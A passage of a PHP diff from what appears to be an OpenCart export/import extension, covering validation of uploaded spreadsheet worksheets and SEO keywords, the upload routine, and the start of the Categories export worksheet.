+ return true;
+ }
+ $category_id_store_id = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $j = 1;
+ $category_id = $this->getCell($data,$i,$j);
+ if (!$this->isInteger($category_id)) {
+ continue;
+ }
+ $j += 1;
+ $store_id = $this->getCell($data,$i,$j);
+ if (!$this->isInteger($store_id)) {
+ continue;
+ }
+ if (!isset($category_id_store_id[$category_id])) {
+ $category_id_store_id[$category_id] = array();
+ }
+ if (!isset($category_id_store_id[$category_id][$store_id])) {
+ $category_id_store_id[$category_id][$store_id] = 0;
+ }
+ $category_id_store_id[$category_id][$store_id] += 1;
+ }
+ foreach ($category_id_store_id as $category_id=>$val1) {
+ foreach ($val1 as $store_id=>$val2) {
+ if ($val2 > 1) {
+ $msg = $this->language->get( 'error_multiple_category_id_store_id' );
+ $msg = str_replace( '%1', $category_id, $msg );
+ $msg = str_replace( '%2', $store_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ }
+ }
+ if (!$ok) {
+ return false;
+ }
+
+ // all keywords for each store_id must unique
+ $store_ids = $this->getAvailableStoreIds();
+ foreach ($store_ids as $next_store_id) {
+ $keyword_counts = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $j = 1;
+ $category_id = $this->getCell($data,$i,$j);
+ if (!$this->isInteger($category_id)) {
+ continue;
+ }
+ $j += 1;
+ $store_id = $this->getCell($data,$i,$j);
+ if (!$this->isInteger($store_id)) {
+ continue;
+ }
+ if ($store_id != $next_store_id) {
+ continue;
+ }
+ foreach ($languages as $language) {
+ $j += 1;
+ $keyword = trim( $this->getCell($data,$i,$j,'') );
+ if ($keyword != '') {
+ if (!isset($keyword_counts[$keyword])) {
+ $keyword_counts[$keyword] = 0;
+ }
+ $keyword_counts[$keyword] += 1;
+ }
+ }
+ }
+ foreach ($keyword_counts as $keyword=>$count) {
+ if ($count > 1) {
+ $msg = $this->language->get( 'error_unique_keyword' );
+ $msg = str_replace( '%1', $keyword, $msg );
+ $msg = str_replace( '%2', $next_store_id, $msg );
+ $msg = str_replace( '%3', 'CategorySEOKeywords', $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ }
+ }
+
+ return $ok;
+ }
+
+
+ protected function validateProductSEOUrls( &$reader, &$languages ) {
+ $ok = true;
+
+ // all product_id/store_id combinations must be unique
+ $data = $reader->getSheetByName( 'ProductSEOKeywords' );
+ if ($data==null) {
+ return true;
+ }
+ $product_id_store_id = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $j = 1;
+ $product_id = $this->getCell($data,$i,$j);
+ if (!$this->isInteger($product_id)) {
+ continue;
+ }
+ $j += 1;
+ $store_id = $this->getCell($data,$i,$j);
+ if (!$this->isInteger($store_id)) {
+ continue;
+ }
+ if (!isset($product_id_store_id[$product_id])) {
+ $product_id_store_id[$product_id] = array();
+ }
+ if (!isset($product_id_store_id[$product_id][$store_id])) {
+ $product_id_store_id[$product_id][$store_id] = 0;
+ }
+ $product_id_store_id[$product_id][$store_id] += 1;
+ }
+ foreach ($product_id_store_id as $product_id=>$val1) {
+ foreach ($val1 as $store_id=>$val2) {
+ if ($val2 > 1) {
+ $msg = $this->language->get( 'error_multiple_product_id_store_id' );
+ $msg = str_replace( '%1', $product_id, $msg );
+ $msg = str_replace( '%2', $store_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ }
+ }
+ if (!$ok) {
+ return false;
+ }
+
+ // all keywords for each store_id must unique
+ $store_ids = $this->getAvailableStoreIds();
+ foreach ($store_ids as $next_store_id) {
+ $keyword_counts = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $j = 1;
+ $product_id = $this->getCell($data,$i,$j);
+ if (!$this->isInteger($product_id)) {
+ continue;
+ }
+ $j += 1;
+ $store_id = $this->getCell($data,$i,$j);
+ if (!$this->isInteger($store_id)) {
+ continue;
+ }
+ if ($store_id != $next_store_id) {
+ continue;
+ }
+ foreach ($languages as $language) {
+ $j += 1;
+ $keyword = trim( $this->getCell($data,$i,$j,'') );
+ if ($keyword != '') {
+ if (!isset($keyword_counts[$keyword])) {
+ $keyword_counts[$keyword] = 0;
+ }
+ $keyword_counts[$keyword] += 1;
+ }
+ }
+ }
+ foreach ($keyword_counts as $keyword=>$count) {
+ if ($count > 1) {
+ $msg = $this->language->get( 'error_unique_keyword' );
+ $msg = str_replace( '%1', $keyword, $msg );
+ $msg = str_replace( '%2', $next_store_id, $msg );
+ $msg = str_replace( '%3', 'ProductSEOKeywords', $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ }
+ }
+
+ return $ok;
+ }
+
+
+ protected function validateWorksheetNames( &$reader ) {
+ $allowed_worksheets = array(
+ 'Categories',
+ 'CategoryFilters',
+ 'CategorySEOKeywords',
+ 'Products',
+ 'AdditionalImages',
+ 'Specials',
+ 'Discounts',
+ 'Rewards',
+ 'ProductOptions',
+ 'ProductOptionValues',
+ 'ProductAttributes',
+ 'ProductFilters',
+ 'ProductSEOKeywords',
+ 'Options',
+ 'OptionValues',
+ 'AttributeGroups',
+ 'Attributes',
+ 'FilterGroups',
+ 'Filters',
+ 'Customers',
+ 'Addresses'
+ );
+ $all_worksheets_ignored = true;
+ $worksheets = $reader->getSheetNames();
+ foreach ($worksheets as $worksheet) {
+ if (in_array($worksheet,$allowed_worksheets)) {
+ $all_worksheets_ignored = false;
+ break;
+ }
+ }
+ if ($all_worksheets_ignored) {
+ return false;
+ }
+ return true;
+ }
+
+
+ protected function validateUpload( &$reader )
+ {
+ $ok = true;
+ $languages = $this->getLanguages();
+
+ // make sure at least one of worksheet names is valid
+ if (!$this->validateWorksheetNames( $reader )) {
+ $this->log->write( $this->language->get( 'error_worksheets' ) );
+ $ok = false;
+ }
+
+ // worksheets must have correct heading rows
+ if (!$this->validateCategories( $reader )) {
+ $this->log->write( $this->language->get('error_categories_header') );
+ $ok = false;
+ }
+ if (!$this->validateCategoryFilters( $reader )) {
+ $this->log->write( $this->language->get('error_category_filters_header') );
+ $ok = false;
+ }
+ if (!$this->validateCategorySEOKeywords( $reader )) {
+ $this->log->write( $this->language->get('error_category_seo_keywords_header') );
+ $ok = false;
+ }
+ if (!$this->validateProducts( $reader )) {
+ $this->log->write( $this->language->get('error_products_header') );
+ $ok = false;
+ }
+ if (!$this->validateAdditionalImages( $reader )) {
+ $this->log->write( $this->language->get('error_additional_images_header') );
+ $ok = false;
+ }
+ if (!$this->validateSpecials( $reader )) {
+ $this->log->write( $this->language->get('error_specials_header') );
+ $ok = false;
+ }
+ if (!$this->validateDiscounts( $reader )) {
+ $this->log->write( $this->language->get('error_discounts_header') );
+ $ok = false;
+ }
+ if (!$this->validateRewards( $reader )) {
+ $this->log->write( $this->language->get('error_rewards_header') );
+ $ok = false;
+ }
+ if (!$this->validateProductOptions( $reader )) {
+ $this->log->write( $this->language->get('error_product_options_header') );
+ $ok = false;
+ }
+ if (!$this->validateProductOptionValues( $reader )) {
+ $this->log->write( $this->language->get('error_product_option_values_header') );
+ $ok = false;
+ }
+ if (!$this->validateProductAttributes( $reader )) {
+ $this->log->write( $this->language->get('error_product_attributes_header') );
+ $ok = false;
+ }
+ if (!$this->validateProductFilters( $reader )) {
+ $this->log->write( $this->language->get('error_product_filters_header') );
+ $ok = false;
+ }
+ if (!$this->validateProductSEOKeywords( $reader )) {
+ $this->log->write( $this->language->get('error_product_seo_keywords_header') );
+ $ok = false;
+ }
+ if (!$this->validateOptions( $reader )) {
+ $this->log->write( $this->language->get('error_options_header') );
+ $ok = false;
+ }
+ if (!$this->validateOptionValues( $reader )) {
+ $this->log->write( $this->language->get('error_option_values_header') );
+ $ok = false;
+ }
+ if (!$this->validateAttributeGroups( $reader )) {
+ $this->log->write( $this->language->get('error_attribute_groups_header') );
+ $ok = false;
+ }
+ if (!$this->validateAttributes( $reader )) {
+ $this->log->write( $this->language->get('error_attributes_header') );
+ $ok = false;
+ }
+ if (!$this->validateFilterGroups( $reader )) {
+ $this->log->write( $this->language->get('error_filter_groups_header') );
+ $ok = false;
+ }
+ if (!$this->validateFilters( $reader )) {
+ $this->log->write( $this->language->get('error_filters_header') );
+ $ok = false;
+ }
+ if (!$this->validateCustomers( $reader )) {
+ $this->log->write( $this->language->get('error_customers_header') );
+ $ok = false;
+ }
+ if (!$this->validateAddresses( $reader )) {
+ $this->log->write( $this->language->get('error_addresses_header') );
+ $ok = false;
+ }
+
+ // certain worksheets rely on the existence of other worksheets
+ $names = $reader->getSheetNames();
+ $exist_categories = false;
+ $exist_category_filters = false;
+ $exist_category_seo_keywords = false;
+ $exist_product_options = false;
+ $exist_product_option_values = false;
+ $exist_products = false;
+ $exist_additional_images = false;
+ $exist_specials = false;
+ $exist_discounts = false;
+ $exist_rewards = false;
+ $exist_product_attributes = false;
+ $exist_product_filters = false;
+ $exist_product_seo_keywords = false;
+ $exist_attribute_groups = false;
+ $exist_filters = false;
+ $exist_filter_groups = false;
+ $exist_attributes = false;
+ $exist_options = false;
+ $exist_option_values = false;
+ $exist_customers = false;
+ $exist_addresses = false;
+ foreach ($names as $name) {
+ if ($name=='Categories') {
+ $exist_categories = true;
+ continue;
+ }
+ if ($name=='CategoryFilters') {
+ if (!$exist_categories) {
+ // Missing Categories worksheet, or Categories worksheet not listed before CategoryFilters
+ $this->log->write( $this->language->get('error_category_filters') );
+ $ok = false;
+ }
+ $exist_category_filters = true;
+ continue;
+ }
+ if ($name=='CategorySEOKeywords') {
+ if (!$exist_categories) {
+ // Missing Categories worksheet, or Categories worksheet not listed before CategorySEOKeywords
+ $this->log->write( $this->language->get('error_category_seo_keywords') );
+ $ok = false;
+ }
+ $exist_category_seo_keywords = true;
+ continue;
+ }
+ if ($name=='Products') {
+ $exist_products = true;
+ continue;
+ }
+ if ($name=='ProductOptions') {
+ if (!$exist_products) {
+ // Missing Products worksheet, or Products worksheet not listed before ProductOptions
+ $this->log->write( $this->language->get('error_product_options') );
+ $ok = false;
+ }
+ $exist_product_options = true;
+ continue;
+ }
+ if ($name=='ProductOptionValues') {
+ if (!$exist_products) {
+ // Missing Products worksheet, or Products worksheet not listed before ProductOptionValues
+ $this->log->write( $this->language->get('error_product_option_values') );
+ $ok = false;
+ }
+ if (!$exist_product_options) {
+ // Missing ProductOptions worksheet, or ProductOptions worksheet not listed before ProductOptionValues
+ $this->log->write( $this->language->get('error_product_option_values_2') );
+ $ok = false;
+ }
+ $exist_product_option_values = true;
+ continue;
+ }
+ if ($name=='AdditionalImages') {
+ if (!$exist_products) {
+ // Missing Products worksheet, or Products worksheet not listed before AdditionalImages
+ $this->log->write( $this->language->get('error_additional_images') );
+ $ok = false;
+ }
+ $exist_additional_images = true;
+ continue;
+ }
+ if ($name=='Specials') {
+ if (!$exist_products) {
+ // Missing Products worksheet, or Products worksheet not listed before Specials
+ $this->log->write( $this->language->get('error_specials') );
+ $ok = false;
+ }
+ $exist_specials = true;
+ continue;
+ }
+ if ($name=='Discounts') {
+ if (!$exist_products) {
+ // Missing Products worksheet, or Products worksheet not listed before Discounts
+ $this->log->write( $this->language->get('error_discounts') );
+ $ok = false;
+ }
+ $exist_discounts = true;
+ continue;
+ }
+ if ($name=='Rewards') {
+ if (!$exist_products) {
+ // Missing Products worksheet, or Products worksheet not listed before Rewards
+ $this->log->write( $this->language->get('error_rewards') );
+ $ok = false;
+ }
+ $exist_rewards = true;
+ continue;
+ }
+ if ($name=='ProductAttributes') {
+ if (!$exist_products) {
+ // Missing Products worksheet, or Products worksheet not listed before ProductAttributes
+ $this->log->write( $this->language->get('error_product_attributes') );
+ $ok = false;
+ }
+ $exist_product_attributes = true;
+ continue;
+ }
+ if ($name=='AttributeGroups') {
+ $exist_attribute_groups = true;
+ continue;
+ }
+ if ($name=='Attributes') {
+ if (!$exist_attribute_groups) {
+ // Missing AttributeGroups worksheet, or AttributeGroups worksheet not listed before Attributes
+ $this->log->write( $this->language->get('error_attributes') );
+ $ok = false;
+ }
+ $exist_attributes = true;
+ continue;
+ }
+ if ($name=='ProductFilters') {
+ if (!$exist_products) {
+ // Missing Products worksheet, or Products worksheet not listed before ProductFilters
+ $this->log->write( $this->language->get('error_product_filters') );
+ $ok = false;
+ }
+ $exist_product_filters = true;
+ continue;
+ }
+ if ($name=='ProductSEOKeywords') {
+ if (!$exist_products) {
+ // Missing Products worksheet, or Products worksheet not listed before ProductSEOKeywords
+ $this->log->write( $this->language->get('error_product_seo_keywords') );
+ $ok = false;
+ }
+ $exist_product_seo_keywords = true;
+ continue;
+ }
+ if ($name=='FilterGroups') {
+ $exist_filter_groups = true;
+ continue;
+ }
+ if ($name=='Filters') {
+ if (!$exist_filter_groups) {
+ // Missing FilterGroups worksheet, or FilterGroups worksheet not listed before Filters
+ $this->log->write( $this->language->get('error_filters') );
+ $ok = false;
+ }
+ $exist_filters = true;
+ continue;
+ }
+ if ($name=='Options') {
+ $exist_options = true;
+ continue;
+ }
+ if ($name=='OptionValues') {
+ if (!$exist_options) {
+ // Missing Options worksheet, or Options worksheet not listed before OptionValues
+ $this->log->write( $this->language->get('error_option_values') );
+ $ok = false;
+ }
+ $exist_option_values = true;
+ continue;
+ }
+ if ($name=='Customers') {
+ $exist_customers = true;
+ continue;
+ }
+ if ($name=='Addresses') {
+ if (!$exist_customers) {
+ // Missing Cutomers worksheet, or Customers worksheet not listed before Addresses
+ $this->log->write( $this->language->get('error_addresses') );
+ $ok = false;
+ }
+ $exist_addresses = true;
+ continue;
+ }
+ }
+ if ($exist_product_options) {
+ if (!$exist_product_option_values) {
+ // ProductOptionValues worksheet also expected after a ProductOptions worksheet
+ $this->log->write( $this->language->get('error_product_option_values_3') );
+ $ok = false;
+ }
+ }
+ if ($exist_attribute_groups) {
+ if (!$exist_attributes) {
+ // Attributes worksheet also expected after an AttributeGroups worksheet
+ $this->log->write( $this->language->get('error_attributes_2') );
+ $ok = false;
+ }
+ }
+ if ($exist_filter_groups) {
+ if (!$exist_filters) {
+ // Filters worksheet also expected after an FilterGroups worksheet
+ $this->log->write( $this->language->get('error_filters_2') );
+ $ok = false;
+ }
+ }
+ if ($exist_options) {
+ if (!$exist_option_values) {
+ // OptionValues worksheet also expected after an Options worksheet
+ $this->log->write( $this->language->get('error_option_values_2') );
+ $ok = false;
+ }
+ }
+ if ($exist_customers) {
+ if (!$exist_addresses) {
+ // Addresses worksheet also expected after Customers worksheet
+ $this->log->write( $this->language->get('error_addresses_2') );
+ $ok = false;
+ }
+ }
+
+ if (!$ok) {
+ return false;
+ }
+
+ if (!$this->validateProductIdColumns( $reader )) {
+ $ok = false;
+ }
+
+ if (!$this->validateCategoryIdColumns( $reader )) {
+ $ok = false;
+ }
+
+ if (!$this->validateCustomerIdColumns( $reader )) {
+ $ok = false;
+ }
+
+ if (!$this->validateCustomerGroupColumns( $reader )) {
+ $ok = false;
+ }
+
+ if (!$this->validateOptionColumns( $reader )) {
+ $ok = false;
+ }
+
+ if (!$this->validateAttributeColumns( $reader )) {
+ $ok = false;
+ }
+
+ if ($this->existFilter()) {
+ if (!$this->validateFilterColumns( $reader )) {
+ $ok = false;
+ }
+ }
+
+ if (!$this->validateStoreIds( $reader )) {
+ $ok = false;
+ }
+
+ if (!$this->validateAddressCountriesAndZones( $reader )) {
+ $ok = false;
+ }
+
+ if ($this->use_table_seo_url) {
+ if (!$this->validateCategorySEOUrls( $reader, $languages )) {
+ $ok = false;
+ }
+
+ if (!$this->validateProductSEOUrls( $reader, $languages )) {
+ $ok = false;
+ }
+ }
+
+ return $ok;
+ }
+
+
+ protected function clearCache() {
+ $this->cache->delete('*');
+ }
+
+
+ public function upload( $filename, $incremental=false ) {
+ // we use our own error handler
+ global $registry;
+ $registry = $this->registry;
+ set_error_handler('error_handler_for_export_import',E_ALL);
+ register_shutdown_function('fatal_error_shutdown_handler_for_export_import');
+
+ try {
+ if (version_compare(phpversion(), '7.2.', '<')) {
+ // php version isn't high enough
+ throw new Exception( $this->language->get( 'error_php_version' ) );
+ }
+
+ $this->session->data['export_import_nochange'] = 1;
+
+ // enable auto_load from system/library/export_import
+ require( DIR_SYSTEM.'library/export_import/vendor/autoload.php' );
+
+ // Use the PhoOffice/PhpSpreadsheet package from https://github.com/PHPOffice/PhpSpreadsheet
+ $workbook = new PhpOffice\PhpSpreadsheet\Spreadsheet();
+
+ // parse uploaded spreadsheet file
+ $inputFileType = PhpOffice\PhpSpreadsheet\IOFactory::identify($filename);
+ $objReader = PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);
+ $objReader->setReadDataOnly(true);
+ $reader = $objReader->load($filename);
+
+ // read the various worksheets and load them to the database
+ if (!$this->validateIncrementalOnly( $reader, $incremental )) {
+ return false;
+ }
+ if (!$this->validateUpload( $reader )) {
+ return false;
+ }
+ $this->clearCache();
+ $this->session->data['export_import_nochange'] = 0;
+ $available_product_ids = array();
+ $available_category_ids = array();
+ $available_customer_ids = array();
+ $this->uploadCategories( $reader, $incremental, $available_category_ids );
+ $this->uploadCategoryFilters( $reader, $incremental, $available_category_ids );
+ $this->uploadCategorySEOKeywords( $reader, $incremental, $available_category_ids );
+ $this->uploadProducts( $reader, $incremental, $available_product_ids );
+ $this->uploadAdditionalImages( $reader, $incremental, $available_product_ids );
+ $this->uploadSpecials( $reader, $incremental, $available_product_ids );
+ $this->uploadDiscounts( $reader, $incremental, $available_product_ids );
+ $this->uploadRewards( $reader, $incremental, $available_product_ids );
+ $this->uploadProductOptions( $reader, $incremental, $available_product_ids );
+ $this->uploadProductOptionValues( $reader, $incremental, $available_product_ids );
+ $this->uploadProductAttributes( $reader, $incremental, $available_product_ids );
+ $this->uploadProductFilters( $reader, $incremental, $available_product_ids );
+ $this->uploadProductSEOKeywords( $reader, $incremental, $available_product_ids );
+ $this->uploadOptions( $reader, $incremental );
+ $this->uploadOptionValues( $reader, $incremental );
+ $this->uploadAttributeGroups( $reader, $incremental );
+ $this->uploadAttributes( $reader, $incremental );
+ $this->uploadFilterGroups( $reader, $incremental );
+ $this->uploadFilters( $reader, $incremental );
+ $this->uploadCustomers( $reader, $incremental, $available_customer_ids );
+ $this->uploadAddresses( $reader, $incremental, $available_customer_ids );
+ return true;
+ } catch (Exception $e) {
+ $errstr = $e->getMessage();
+ $errline = $e->getLine();
+ $errfile = $e->getFile();
+ $errno = $e->getCode();
+ $this->session->data['export_import_error'] = array( 'errstr'=>$errstr, 'errno'=>$errno, 'errfile'=>$errfile, 'errline'=>$errline );
+ if ($this->config->get('config_error_log')) {
+ $this->log->write('PHP ' . get_class($e) . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline);
+ }
+ return false;
+ }
+ }
+
+
+
+ protected function getStoreIdsForCategories() {
+ $sql = "SELECT category_id, store_id FROM `".DB_PREFIX."category_to_store` cs;";
+ $store_ids = array();
+ $result = $this->db->query( $sql );
+ foreach ($result->rows as $row) {
+ $categoryId = $row['category_id'];
+ $store_id = $row['store_id'];
+ if (!isset($store_ids[$categoryId])) {
+ $store_ids[$categoryId] = array();
+ }
+ if (!in_array($store_id,$store_ids[$categoryId])) {
+ $store_ids[$categoryId][] = $store_id;
+ }
+ }
+ return $store_ids;
+ }
+
+
+ protected function getLayoutsForCategories() {
+ $sql = "SELECT cl.*, l.name FROM `".DB_PREFIX."category_to_layout` cl ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."layout` l ON cl.layout_id = l.layout_id ";
+ $sql .= "ORDER BY cl.category_id, cl.store_id;";
+ $result = $this->db->query( $sql );
+ $layouts = array();
+ foreach ($result->rows as $row) {
+ $categoryId = $row['category_id'];
+ $store_id = $row['store_id'];
+ $name = $row['name'];
+ if (!isset($layouts[$categoryId])) {
+ $layouts[$categoryId] = array();
+ }
+ $layouts[$categoryId][$store_id] = $name;
+ }
+ return $layouts;
+ }
+
+
+ protected function setColumnStyles( &$worksheet, &$styles, $min_row, $max_row ) {
+ if ($max_row < $min_row) {
+ return;
+ }
+ foreach ($styles as $col=>$style) {
+ $from = PhpOffice\PhpSpreadsheet\Cell\Coordinate::stringFromColumnIndex($col).$min_row;
+ $to = PhpOffice\PhpSpreadsheet\Cell\Coordinate::stringFromColumnIndex($col).$max_row;
+ $range = $from.':'.$to;
+ $worksheet->getStyle( $range )->applyFromArray( $style, false );
+ }
+ }
+
+
+ protected function setCellRow( $worksheet, $row/*1-based*/, $data, &$default_style=null, &$styles=null ) {
+ if (!empty($default_style)) {
+ $worksheet->getStyle( "$row:$row" )->applyFromArray( $default_style, false );
+ }
+ if (!empty($styles)) {
+ foreach ($styles as $col=>$style) {
+ $worksheet->getStyleByColumnAndRow($col,$row)->applyFromArray($style,false);
+ }
+ }
+ $worksheet->fromArray( $data, null, 'A'.$row, true );
+ }
+
+
+ protected function setCell( &$worksheet, $row/*1-based*/, $col/*1-based*/, $val, &$style=null ) {
+ $worksheet->setCellValueByColumnAndRow( $col, $row, $val );
+ if (!empty($style)) {
+ $worksheet->getStyleByColumnAndRow($col,$row)->applyFromArray( $style, false );
+ }
+ }
+
+
+ protected function getCategoryDescriptions( &$languages, $offset=null, $rows=null, $min_id=null, $max_id=null ) {
+ // query the category_description table for each language
+ $category_descriptions = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ $sql = "SELECT c.category_id, cd.* ";
+ $sql .= "FROM `".DB_PREFIX."category` c ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."category_description` cd ON cd.category_id=c.category_id AND cd.language_id='".(int)$language_id."' ";
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE c.category_id BETWEEN $min_id AND $max_id ";
+ }
+ $sql .= "GROUP BY c.`category_id` ";
+ $sql .= "ORDER BY c.`category_id` ASC ";
+ if (isset($offset) && isset($rows)) {
+ $sql .= "LIMIT $offset,$rows; ";
+ } else {
+ $sql .= "; ";
+ }
+ $query = $this->db->query( $sql );
+ $category_descriptions[$language_code] = $query->rows;
+ }
+ return $category_descriptions;
+ }
+
+
+ protected function getCategories( &$languages, $exist_meta_title, $exist_seo_url_table, $offset=null, $rows=null, $min_id=null, $max_id=null ) {
+ if ($exist_seo_url_table) {
+ $sql = "SELECT c.* FROM `".DB_PREFIX."category` c ";
+ } else {
+ $sql = "SELECT c.*, ua.keyword FROM `".DB_PREFIX."category` c ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."url_alias` ua ON ua.query=CONCAT('category_id=',c.category_id) ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE c.category_id BETWEEN $min_id AND $max_id ";
+ }
+ $sql .= "GROUP BY c.`category_id` ";
+ $sql .= "ORDER BY c.`category_id` ASC ";
+ if (isset($offset) && isset($rows)) {
+ $sql .= "LIMIT $offset,$rows; ";
+ } else {
+ $sql .= "; ";
+ }
+ $results = $this->db->query( $sql );
+ $category_descriptions = $this->getCategoryDescriptions( $languages, $offset, $rows, $min_id, $max_id );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ foreach ($results->rows as $key=>$row) {
+ if (isset($category_descriptions[$language_code][$key])) {
+ $results->rows[$key]['name'][$language_code] = $category_descriptions[$language_code][$key]['name'];
+ $results->rows[$key]['description'][$language_code] = $category_descriptions[$language_code][$key]['description'];
+ if ($exist_meta_title) {
+ $results->rows[$key]['meta_title'][$language_code] = $category_descriptions[$language_code][$key]['meta_title'];
+ }
+ $results->rows[$key]['meta_description'][$language_code] = $category_descriptions[$language_code][$key]['meta_description'];
+ $results->rows[$key]['meta_keyword'][$language_code] = $category_descriptions[$language_code][$key]['meta_keyword'];
+ } else {
+ $results->rows[$key]['name'][$language_code] = '';
+ $results->rows[$key]['description'][$language_code] = '';
+ if ($exist_meta_title) {
+ $results->rows[$key]['meta_title'][$language_code] = '';
+ }
+ $results->rows[$key]['meta_description'][$language_code] = '';
+ $results->rows[$key]['meta_keyword'][$language_code] = '';
+ }
+ }
+ }
+ return $results->rows;
+ }
+
+
+ protected function populateCategoriesWorksheet( &$worksheet, &$languages, &$box_format, &$text_format, $offset=null, $rows=null, &$min_id=null, &$max_id=null ) {
+ // Opencart versions from 2.0 onwards also have category_description.meta_title
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."category_description` LIKE 'meta_title'";
+ $query = $this->db->query( $sql );
+ $exist_meta_title = ($query->num_rows > 0) ? true : false;
+
+ // Opencart versions from 3.0 onwards use the seo_url DB table
+ $exist_seo_url_table = $this->use_table_seo_url;
+
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('category_id')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('parent_id')+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('top'),5)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('columns')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('sort_order')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('image_name'),12)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_added'),19)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_modified'),19)+1);
+ if (!$exist_seo_url_table) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('seo_keyword'),16)+1);
+ }
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('description'),32)+1);
+ }
+ if ($exist_meta_title) {
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_title'),20)+1);
+ }
+ }
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_description'),32)+1);
+ }
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_keywords'),32)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('store_ids'),16)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('layout'),16)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('status'),5)+1);
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'category_id';
+ $data[$j++] = 'parent_id';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'name('.$language['code'].')';
+ }
+ $data[$j++] = 'top';
+ $data[$j++] = 'columns';
+ $data[$j++] = 'sort_order';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'image_name';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'date_added';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'date_modified';
+ if (!$exist_seo_url_table) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'seo_keyword';
+ }
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'description('.$language['code'].')';
+ }
+ if ($exist_meta_title) {
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'meta_title('.$language['code'].')';
+ }
+ }
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'meta_description('.$language['code'].')';
+ }
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'meta_keywords('.$language['code'].')';
+ }
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'store_ids';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'layout';
+ $data[$j++] = 'status';
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual categories data
+ $i += 1;
+ $j = 1;
+ $store_ids = $this->getStoreIdsForCategories();
+ $layouts = $this->getLayoutsForCategories();
+ $categories = $this->getCategories( $languages, $exist_meta_title, $exist_seo_url_table, $offset, $rows, $min_id, $max_id );
+ $len = count($categories);
+ $min_id = ($len>0) ? $categories[0]['category_id'] : 0;
+ $max_id = ($len>0) ? $categories[$len-1]['category_id'] : 0;
+ foreach ($categories as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(26);
+ $data = array();
+ $data[$j++] = $row['category_id'];
+ $data[$j++] = $row['parent_id'];
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $data[$j++] = ($row['top']==0) ? "false" : "true";
+ $data[$j++] = $row['column'];
+ $data[$j++] = $row['sort_order'];
+ $data[$j++] = $row['image'];
+ $data[$j++] = $row['date_added'];
+ $data[$j++] = $row['date_modified'];
+ if (!$exist_seo_url_table) {
+ $data[$j++] = $row['keyword'];
+ }
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['description'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ if ($exist_meta_title) {
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['meta_title'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ }
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['meta_description'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['meta_keyword'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $store_id_list = '';
+ $category_id = $row['category_id'];
+ if (isset($store_ids[$category_id])) {
+ foreach ($store_ids[$category_id] as $store_id) {
+ $store_id_list .= ($store_id_list=='') ? $store_id : ','.$store_id;
+ }
+ }
